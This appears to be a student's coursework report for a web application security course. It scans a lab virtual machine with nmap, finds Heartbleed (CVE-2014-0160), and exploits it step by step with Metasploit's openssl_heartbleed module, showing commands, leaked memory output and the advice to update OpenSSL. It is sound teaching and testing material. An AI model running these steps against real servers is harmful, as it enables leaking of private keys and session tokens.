

Web application security Week 11

Timo Lehosvuo, M3426 TTV18S1

Harjoitustyö Web application security, Heikki Salo, Joni Ahonen 30.4.2021 Tekniikan ala

1. Issue report

1.1 Identifying the vulnerability

I scanned the target with nmap using the command "nmap 10.0.2.15 -script=vuln"

```
VULNERABLE:
    The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptog
raphic software library. It allows for stealing information intended to be prote
cted by SSL/TLS encryption.
      State: VULNERABLE
     Risk factor: High
        OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0
.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for read
ing memory of systems protected by the vulnerable OpenSSL versions and could all
ow for disclosure of otherwise encrypted confidential information as well as the
encryption keys themselves.
      References:
       http://www.openssl.org/news/secadv_20140407.txt
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
       http://cvedetails.com/cve/2014-0160/
 _sslv2-drown:
8080/tcp open http-proxy
MAC Address: 08:00:27:8B:D2:6E (Oracle VirtualBox virtual NIC)
```

The webserver appears to be vulnerable to heartbleed.

Description for heartbleed from NVD:

"The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug."

For more details see: https://nvd.nist.gov/vuln/detail/CVE-2014-0160

1.2 Exploiting heartbleed vulnerability in WasDat

Description: By using pre-existing payloads in Metasploit an attacker can exploit heartbleed vulnerability and get sensitive data.

Steps to produce:

- Create an article in WasDat so you have to something to look for in the results



- Start Metasploit with "msfconsole"
- Search heartbleed in metasploit

```
msf5 > search heartbleed
Matching Modules
  # Name
                                                        Disclosure Date Rank
Check Description
  0 auxiliary/scanner/ssl/openssl_heartbleed
                                                        2014-04-07
                                                                         normal
      OpenSSL Heartbeat (Heartbleed) Information Leak
 Yes
    auxiliary/server/openssl_heartbeat_client_memory 2014-04-07
                                                                         normal
       OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
Interact with a module by name or index, for example use 1 or use auxiliary/serv
er/openssl_heartbeat_client_memory
<u>msf5</u> >
```

- From the search results select a payload

msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
msf5 auxiliary(scanner/ssl/openssl_heartbleed) >

- Set remote hosts IP to match WasDat

```
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 10.0.2.15
RHOSTS => 10.0.2.15
msf5 auxiliary(scanner/ssl/openssl_heartbleed) >
```

- Set verbose to true

```
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set VERBOSE true
VERBOSE => true
msf5 auxiliary(scanner/ssl/openssl_heartbleed) >
```

Exploit the vulnerability

```
10.0.2.15:443
                             - Leaking heartbeat response #1
    10.0.2.15:443
                               Sending Client Hello..
   10.0.2.15:443
10.0.2.15:443
                             - SSL record #1:
                                    Type: 22
    10.0.2.15:443
                                   Version: 0x0301
   10.0.2.15:443
10.0.2.15:443
                                   Length: 86
                                   Handshake #1:
    10.0.2.15:443
                                           Length: 82
   10.0.2.15:443
10.0.2.15:443
                                            Type: Server Hello (2)
Server Hello Version:
    10.0.2.15:443
                                            Server Hello random data:
                                                                                 608ae82c12e3934be75f066f04be1d6fb15a3747057141496d0
a98003368a425
   10.0.2.15:443
                                            Server Hello Session ID length: 32
    10.0.2.15:443
                                            Server Hello Session ID:
                                                                                 c2d30358f8e4cb49968feaee547609f9bc6d38dc80468c724a2
772cf133eb09b
```

You can see your article and authorization token in the results

Mitigation:

- Update OpenSSL
- See: https://nvd.nist.gov/vuln/detail/CVE-2014-0160